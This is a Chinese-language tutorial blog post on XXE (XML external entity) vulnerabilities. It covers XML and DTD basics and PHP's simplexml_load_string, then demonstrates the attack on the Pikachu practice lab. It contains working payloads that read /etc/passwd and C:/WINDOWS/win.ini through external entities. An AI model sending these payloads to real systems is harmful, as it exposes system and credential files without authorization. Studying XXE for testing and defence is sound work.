xxe漏洞利用

参考链接

XXE



前言

XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。


一、XXE原理

1.1 XML

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

示例

<!-- 第一部分,XML声明 -->
<?xml version="1.0"?>
<!-- 第二部分,文档类型定义DTD -->
<!DOCTYPE note[ <!-- 定义此文档是note类型的文档 -->
<!NTITY entity-name SYSTEM "URL/URL"> <!-- 外部实体声明 -->]]]>
<!-- 第三部分,文档元素 -->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>you are a good man</body>
</note>

1.2 DTD

DTD:Document Define Definition,即文档定义类型,用来为XML文档定义语义约束

  1. DTD内部声明
    !DOCTYPE 根元素[元素声明]>
  2. DTD外部引用
    !DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI"

外部实体引用payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f</x>

外部引用可以支持http、file,ftp等协议。
如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可能导致XXE漏洞。
攻击者可以构造一个xml文档,通过外部实体引用的协议去指定读取一些文件。

1.3 simplexml_load_string()

该函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素。
在PHP里面,解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML。

<!DOCTYPE html>
<html>
<body>

<?php
$note=<<<XML
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Do not forget me this weekend!</body>
</note>
XML;

$xml=simplexml_load_string($note);
echo $xml->getName() . "<br>";
 
foreach($xml->children() as $child)
  {
  echo $child->getName() . ": " . $child . "<br>";
  }
?>

</body>
</html>

在这里插入图片描述

二、XXE漏洞利用

靶场:Pikachu

<?xml version="1.0"?>
<!DOCTYPE note[
	<!ENTITY hacker "123456">
]>
<name>&hacker;</name>

在这里插入图片描述
通过SYSTEM指定一个外部实体,读取敏感文件

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "C:/WINDOWS/win.ini">
]>
<x>&f;</x>

在这里插入图片描述

三、总结

XXE的危害:

  1. 文件读取
  2. 内网主机扫描
  3. 端口探测
  4. 远程代码执行

XXE漏洞可利用的协议:
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值